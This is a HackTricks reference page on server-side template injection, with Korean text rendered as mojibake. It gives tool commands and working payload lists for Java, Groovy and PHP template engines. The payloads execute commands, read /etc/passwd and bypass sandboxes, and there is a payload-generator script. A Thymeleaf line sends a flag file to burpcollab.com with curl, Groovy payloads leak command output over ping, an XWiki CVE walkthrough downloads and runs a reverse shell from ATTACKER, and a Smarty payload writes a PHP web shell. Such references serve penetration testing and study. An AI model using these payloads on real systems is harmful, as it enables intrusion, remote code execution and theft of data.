SSTI (Server Side Template Injection)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
SSTI (Server-Side Template Injection)๋ ๋ฌด์์ธ๊ฐ
Server-side template injection์ ๊ณต๊ฒฉ์๊ฐ ์๋ฒ์์ ์คํ๋๋ ํ ํ๋ฆฟ์ ์ ์ฑ ์ฝ๋๋ฅผ ์ฃผ์ ํ ์ ์์ ๋ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ ๋๋ค. ์ด ์ทจ์ฝ์ ์ Jinja๋ฅผ ํฌํจํ ๋ค์ํ ๊ธฐ์ ์์ ๋ฐ๊ฒฌ๋ ์ ์์ต๋๋ค.
Jinja๋ ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ์ฌ์ฉ๋๋ ์ธ๊ธฐ ์๋ ํ ํ๋ฆฟ ์์ง์ ๋๋ค. Jinja๋ฅผ ์ฌ์ฉํ ์ทจ์ฝํ code snippet์ ๋ณด์ฌ์ฃผ๋ ์๋ฅผ ์ดํด๋ณด๊ฒ ์ต๋๋ค:
output = template.render(name=request.args.get('name'))
์ด ์ทจ์ฝํ ์ฝ๋์์๋ ์ฌ์ฉ์์ ์์ฒญ์์ ์ ๋ฌ๋ name ํ๋ผ๋ฏธํฐ๊ฐ render ํจ์๋ฅผ ์ฌ์ฉํด ํ
ํ๋ฆฟ์ผ๋ก ์ง์ ์ ๋ฌ๋ฉ๋๋ค. ์ด๋ก ์ธํด ๊ณต๊ฒฉ์๊ฐ name ํ๋ผ๋ฏธํฐ์ ์
์์ ์ธ ์ฝ๋๋ฅผ ์ฃผ์
ํ์ฌ server-side template injection์ด ๋ฐ์ํ ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, ๊ณต๊ฒฉ์๋ ๋ค์๊ณผ ๊ฐ์ payload๋ฅผ ํฌํจํ ์์ฒญ์ ๋ง๋ค ์ ์์ต๋๋ค:
http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}} is injected into the name parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.
To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.
ํ์ง
Server-Side Template Injection (SSTI)๋ฅผ ํ์งํ๋ ค๋ฉด, ์ด๊ธฐ์๋ fuzzing the template๊ฐ ๊ฐ๋จํ ์ ๊ทผ๋ฒ์
๋๋ค. ์ด๋ ํ
ํ๋ฆฟ์ ํน์ ๋ฌธ์ ์ํ์ค(${{<%[%'"}}%\)๋ฅผ ์ฃผ์
ํ๊ณ , ์ผ๋ฐ ๋ฐ์ดํฐ์ ์ด ํน์ ํ์ด๋ก๋์ ๋ํ ์๋ฒ ์๋ต์ ์ฐจ์ด๋ฅผ ๋ถ์ํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค. ์ทจ์ฝ์ฑ์ ์งํ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- ์๋ฌ ๋ฐ์ โ ์ทจ์ฝ์ฑ์ ๋๋ฌ๋ด๊ณ ํ ํ๋ฆฟ ์์ง์ ์๋ณํ ์ ์์.
- ๋ฐ์ฌ(reflection)์์ ํ์ด๋ก๋๊ฐ ์๊ฑฐ๋ ์ผ๋ถ๊ฐ ๋๋ฝ๋จ โ ์๋ฒ๊ฐ ์ด๋ฅผ ์ผ๋ฐ ๋ฐ์ดํฐ์ ๋ค๋ฅด๊ฒ ์ฒ๋ฆฌํจ์ ์๋ฏธ.
- Plaintext Context: ์๋ฒ๊ฐ ํ
ํ๋ฆฟ ํํ์์ ํ๊ฐํ๋์ง ํ์ธํ์ฌ XSS์ ๊ตฌ๋ถ (์:
{{7*7}},${7*7}). - Code Context: ์
๋ ฅ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ณ๊ฒฝํด ์ทจ์ฝ์ฑ์ ํ์ธ. ์๋ฅผ ๋ค์ด,
http://vulnerable-website.com/?greeting=data.username์์greeting์ ๋ณ๊ฒฝํด ์๋ฒ ์ถ๋ ฅ์ด ๋์ ์ธ์ง ๊ณ ์ ์ธ์ง ํ์ธ. ์:greeting=data.username}}hello๊ฐ ์ฌ์ฉ์ ์ด๋ฆ์ ๋ฐํํ๋์ง ํ์ธ.
์๋ณ ๋จ๊ณ
ํ
ํ๋ฆฟ ์์ง์ ์๋ณํ๋ ค๋ฉด ์๋ฌ ๋ฉ์์ง๋ฅผ ๋ถ์ํ๊ฑฐ๋ ์ธ์ด๋ณ ํ์ด๋ก๋๋ฅผ ์๋์ผ๋ก ํ
์คํธํฉ๋๋ค. ์๋ฌ๋ฅผ ์ ๋ฐํ๋ ์ผ๋ฐ ํ์ด๋ก๋๋ก๋ ${7/0}, {{7/0}}, <%= 7/0 %> ๋ฑ์ด ์์ต๋๋ค. ์ํ ์ฐ์ฐ์ ๋ํ ์๋ฒ์ ์๋ต์ ๊ด์ฐฐํ๋ฉด ํน์ ํ
ํ๋ฆฟ ์์ง์ ์ขํ๊ฐ ์ ์์ต๋๋ค.
ํ์ด๋ก๋๋ก ์๋ณ
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
Tools
TInjA
an efficient SSTI + CSTI scanner which utilizes novel polyglots
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
์ด ์ธํฐ๋ํฐ๋ธ ํ ์ด๋ธ์ ๊ฐ์ฅ ํจ์จ์ ์ธ template injection polyglots์ 44๊ฐ์ ๊ฐ์ฅ ์ค์ํ template engines์ ์์ ์๋ต์ ํจ๊ป ์ ๊ณตํฉ๋๋ค.
Exploits
์ผ๋ฐ
In this wordlist you can find variables defined in the environments of some of the engines mentioned below:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - ์์คํ ํ๊ฒฝ ๋ณ์ ๊ฐ์ ธ์ค๊ธฐ
${T(java.lang.System).getenv()}
Java - /etc/passwd ๊ฐ์ ธ์ค๊ธฐ
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
payloads๋ฅผ https://try.freemarker.apache.org์์ ์๋ํด๋ณผ ์ ์์ต๋๋ค
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Nothing${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
โ ๏ธ Freemarker ๋ฒ์ 2.3.30 ๋ฏธ๋ง์์๋ง ์๋ํฉ๋๋ค
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
์ถ๊ฐ ์ ๋ณด
- FreeMarker ์น์ ์์: https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
์ถ๊ฐ ์ ๋ณด
- https://portswigger.net/research/server-side-template-injection์ Velocity ์น์
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Thymeleaf์์๋ SSTI ์ทจ์ฝ์ ์ ํ
์คํธํ ๋ ํํ ${7*7} ํํ์์ ์ฌ์ฉํ๋ฉฐ, ์ด ํ
ํ๋ฆฟ ์์ง์์๋ ๋์ผํ๊ฒ ์ ์ฉ๋ฉ๋๋ค. ์ ์ฌ์ ์ธ remote code execution์ ์ํด์๋ ๋ค์๊ณผ ๊ฐ์ ํํ์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf๋ ์ด๋ฌํ ํํ์์ ํน์ ์์ฑ(attribute) ์์ ์์น์์ผ์ผ ํฉ๋๋ค. ๊ทธ๋ฌ๋ _expression inlining_์ [[...]] ๋๋ [(...)] ๊ฐ์ ๋ฌธ๋ฒ์ ์ฌ์ฉํด ๋ค๋ฅธ ํ
ํ๋ฆฟ ์์น์์๋ ์ง์๋ฉ๋๋ค. ๋ฐ๋ผ์ ๊ฐ๋จํ SSTI ํ
์คํธ ํ์ด๋ก๋๋ [[${7*7}]]์ฒ๋ผ ๋ณด์ผ ์ ์์ต๋๋ค.
ํ์ง๋ง ์ด ํ์ด๋ก๋๊ฐ ์ฑ๊ณตํ ๊ฐ๋ฅ์ฑ์ ์ผ๋ฐ์ ์ผ๋ก ๋ฎ์ต๋๋ค. Thymeleaf์ ๊ธฐ๋ณธ ์ค์ ์ ๋์ ํ
ํ๋ฆฟ ์์ฑ์ ์ง์ํ์ง ์์ผ๋ฉฐ, ํ
ํ๋ฆฟ์ ๋ฏธ๋ฆฌ ์ ์๋์ด ์์ด์ผ ํฉ๋๋ค. ๊ฐ๋ฐ์๋ ๋ฌธ์์ด๋ก๋ถํฐ ํ
ํ๋ฆฟ์ ์ฆ์ ์์ฑํ๊ธฐ ์ํด ์์ฒด TemplateResolver๋ฅผ ๊ตฌํํด์ผ ํ๋๋ฐ, ์ด๋ ๋๋ฌธ ๊ฒฝ์ฐ์
๋๋ค.
Thymeleaf๋ ๋ํ _expression preprocessing_์ ์ ๊ณตํ์ฌ, ์ด์ค ๋ฐ์ค(__...__)๋ก ๋๋ฌ์ธ์ธ ํํ์์ด ์ฌ์ ์ฒ๋ฆฌ๋ฉ๋๋ค. ์ด ๊ธฐ๋ฅ์ ํํ์์ ๊ตฌ์ฑํ ๋ ํ์ฉ๋ ์ ์์ผ๋ฉฐ, ์์ธํ ๋ด์ฉ์ Thymeleaf ๋ฌธ์์ ์ค๋ช
๋์ด ์์ต๋๋ค:
#{selection.__${sel.code}__}
Thymeleaf์ ์ทจ์ฝ์ ์์
๋ค์ ์ฝ๋ ์ค๋ํซ์ ์ ์ฉ๋ ์ ์์ต๋๋ค:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
์ด๋ template engine์ด ์ด๋ฌํ ์ ๋ ฅ์ ๋ถ์ ์ ํ๊ฒ ์ฒ๋ฆฌํ ๊ฒฝ์ฐ remote code execution์ผ๋ก ์ด์ด์ ธ ๋ค์๊ณผ ๊ฐ์ URLs์ ์ ๊ทผํ ์ ์์์ ๋ํ๋ ๋๋ค:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
์ถ๊ฐ ์ ๋ณด
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
ํํฐ ์ฐํ
์ฌ๋ฌ ๋ณ์ ํํ์์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ${...}๊ฐ ์๋ํ์ง ์์ผ๋ฉด #{...}, *{...}, @{...} ๋๋ ~{...}๋ฅผ ์๋ํด ๋ณด์ธ์.
/etc/passwd์ฝ๊ธฐ
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- payload ์์ฑ์ฉ Custom Script
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
์ถ๊ฐ ์ ๋ณด
Spring View ์กฐ์ (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Pebble์ ์ด์ ๋ฒ์ ( < ๋ฒ์ 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Pebble์ ์ ๋ฒ์ :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava๋ Hubspot์์ ๊ฐ๋ฐํ ์คํ ์์ค ํ๋ก์ ํธ๋ก, ๋ค์์์ ํ์ธํ ์ ์์ต๋๋ค: https://github.com/HubSpot/jinjava/
Jinjava - Command execution
์์ ๋จ: https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
์ถ๊ฐ ์ ๋ณด
Hubspot - HuBL (Java)
{% %}๋ฌธ์ฅ ๊ตฌ๋ถ์{{ }}ํํ์ ๊ตฌ๋ถ์{# #}์ฃผ์ ๊ตฌ๋ถ์{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- โAโ{{'a'.concat('b')}}- โabโ{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
โcom.hubspot.content.hubl.context.TemplateContextRequestโ๋ฅผ ๊ฒ์ํ๋ฉด Jinjava project on Github๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
์ถ๊ฐ ์ ๋ณด
Expression Language - EL (Java)
${"aaaa"}- โaaaaโ${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL)์ ํ๋ ์ ํ ์ด์ ๊ณ์ธต(์: ์น ํ์ด์ง)๊ณผ ์ ํ๋ฆฌ์ผ์ด์ ๋ก์ง(์: managed beans) ์ฌ์ด์ ์ํธ์์ฉ์ ์ฉ์ดํ๊ฒ ํ๋ ๊ธฐ๋ณธ ๊ธฐ๋ฅ์ ๋๋ค. EL์ ์ด๋ฌํ ํต์ ์ ๊ฐ์ํํ๊ธฐ ์ํด ์ฌ๋ฌ JavaEE ๊ธฐ์ ์ ๋ฐ์์ ๊ด๋ฒ์ํ๊ฒ ์ฌ์ฉ๋ฉ๋๋ค. EL์ ์ฌ์ฉํ๋ ์ฃผ์ JavaEE ๊ธฐ์ ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- JavaServer Faces (JSF): EL์ ์ฌ์ฉํ์ฌ JSF ํ์ด์ง์ ์ปดํฌ๋ํธ๋ฅผ ๋ฐฑ์๋ ๋ฐ์ดํฐ ๋ฐ ์ก์ ์ ๋ฐ์ธ๋ฉํฉ๋๋ค.
- JavaServer Pages (JSP): JSP ๋ด์์ ๋ฐ์ดํฐ๋ฅผ ์ ๊ทผํ๊ณ ์กฐ์ํ๊ธฐ ์ํด EL์ด ์ฌ์ฉ๋๋ฉฐ, ํ์ด์ง ์์๋ฅผ ์ ํ๋ฆฌ์ผ์ด์ ๋ฐ์ดํฐ์ ์ฐ๊ฒฐํ๊ธฐ ์ฝ๊ฒ ํฉ๋๋ค.
- Contexts and Dependency Injection for Java EE (CDI): EL์ CDI์ ํตํฉ๋์ด ์น ๊ณ์ธต๊ณผ managed beans ๊ฐ์ ์ํํ ์ํธ์์ฉ์ ๊ฐ๋ฅํ๊ฒ ํ์ฌ ๋ ์ผ๊ด๋ ์ ํ๋ฆฌ์ผ์ด์ ๊ตฌ์กฐ๋ฅผ ๋ณด์ฅํฉ๋๋ค.
๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ฌ EL ์ธํฐํ๋ฆฌํฐ์ ์ ์ฉ์ ๋ํด ๋ ์์๋ณด์ธ์:
Groovy (Java)
๋ค์ Security Manager ์ฐํ ๊ธฐ๋ฒ๋ค์ ์ด writeup์์ ๊ฐ์ ธ์์ต๋๋ค.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
XWiki SolrSearch Groovy RCE (CVE-2025-24893)
XWiki โค 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) ๋ ์ธ์ฆ ์์ด Main.SolrSearch ๋งคํฌ๋ก๋ฅผ ํตํด RSS ๊ฒ์ ํผ๋๋ฅผ ๋ ๋๋งํฉ๋๋ค. ํธ๋ค๋ฌ๋ text ์ฟผ๋ฆฌ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ์ ์ํค ๋ฌธ๋ฒ์ผ๋ก ๊ฐ์ธ๊ณ ๋งคํฌ๋ก๋ฅผ ํ๊ฐํ๋ฏ๋ก }}} ์ดํ์ {{groovy}}๋ฅผ ์ฃผ์
ํ๋ฉด JVM์์ ์์์ Groovy๊ฐ ์คํ๋ฉ๋๋ค.
- ์ง๋ฌธ ์๋ณ ๋ฐ ๋ฒ์ โ XWiki๊ฐ ํธ์คํธ ๊ธฐ๋ฐ ๋ผ์ฐํ
๋ค์์ ๋ฆฌ๋ฒ์ค ํ๋ก์๋ ๊ฒฝ์ฐ,
Hostํค๋๋ฅผ ํผ์ฆ(ffuf -u http://<ip> -H "Host: FUZZ.target" ...)ํ์ฌ ์ํค vhost๋ฅผ ์ฐพ์ ๋ค์/xwiki/bin/view/Main/๋ฅผ ์ด์ด ํธํฐ(XWiki Debian 15.10.8)๋ฅผ ํ์ธํด ์ทจ์ฝํ ๋น๋๋ฅผ ๊ณ ์ ํฉ๋๋ค. - SSTI ์ ๋ฐ โ
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20๋ฅผ ์์ฒญํ์ธ์. RSS ํญ๋ชฉ์<title>์ Groovy ์ถ๋ ฅ์ด ๋ค์ด๊ฐ๋๋ค. ํญ์ โURL-encode all charactersโ ํ์ฌ ๊ณต๋ฐฑ์ด%20์ผ๋ก ๋จ๊ฒ ํ์ธ์;+๋ก ๋์ฒดํ๋ฉด XWiki๊ฐ HTTP 500์ ๋ฐํํฉ๋๋ค. - OS ๋ช
๋ น ์คํ โ Groovy ๋ณธ๋ฌธ์
{{groovy}}println("id".execute().text){{/groovy}}๋ก ๊ต์ฒดํ์ธ์.String.execute()๋execve()๋ก ๋ช ๋ น์ ์ง์ ์์ฑํ๋ฏ๋ก ์ ๋ฉํ๋ฌธ์(|,>,&)๋ ํด์๋์ง ์์ต๋๋ค. ๋์ ๋ค์ด๋ก๋ ํ ์คํ ํจํด์ ์ฌ์ฉํ์ธ์:
"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text"bash /dev/shm/rev".execute().text(์คํฌ๋ฆฝํธ์ ๋ฆฌ๋ฒ์ค ์ ธ ๋ก์ง ํฌํจ).
- ์ฌํ ์ด์ฉ(ํฌ์คํธ ์ต์คํ๋ก์) โ XWiki๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์๊ฒฉ์ฆ๋ช
์
/etc/xwiki/hibernate.cfg.xml์ ์ ์ฅํฉ๋๋ค;hibernate.connection.password๋ฅผ leak ํ๋ฉด SSH ์ฌ์ฌ์ฉ์ด ๊ฐ๋ฅํ ์ค์ ์์คํ ๋น๋ฐ๋ฒํธ๋ฅผ ์ป์ ์ ์์ต๋๋ค. ์๋น์ค ์ ๋์ดNoNewPrivileges=true๋ก ์ค์ ๋์ด ์์ผ๋ฉด/bin/su๊ฐ์ ๋๊ตฌ๊ฐ ์ ํจํ ๋น๋ฐ๋ฒํธ๋ก๋ ์ถ๊ฐ ๊ถํ์ ์ป์ง ๋ชปํ๋ฏ๋ก, ๋ก์ปฌ SUID ๋ฐ์ด๋๋ฆฌ์ ์์กดํ๊ธฐ๋ณด๋ค SSH๋ก ํผ๋ฒํ์ธ์.
๋์ผํ ํ์ด๋ก๋๋ /xwiki/bin/get/Main/SolrSearch ์์๋ ์๋ํ๊ณ , Groovy stdout์ ํญ์ RSS title์ ์ฝ์
๋๋ฏ๋ก ๋ช
๋ น ์ด๊ฑฐ๋ฅผ ์คํฌ๋ฆฝํธํํ๊ธฐ ์ฝ์ต๋๋ค.
Other Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
- ์์ธํ ์ ๋ณด: https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
์ถ๊ฐ ์ ๋ณด
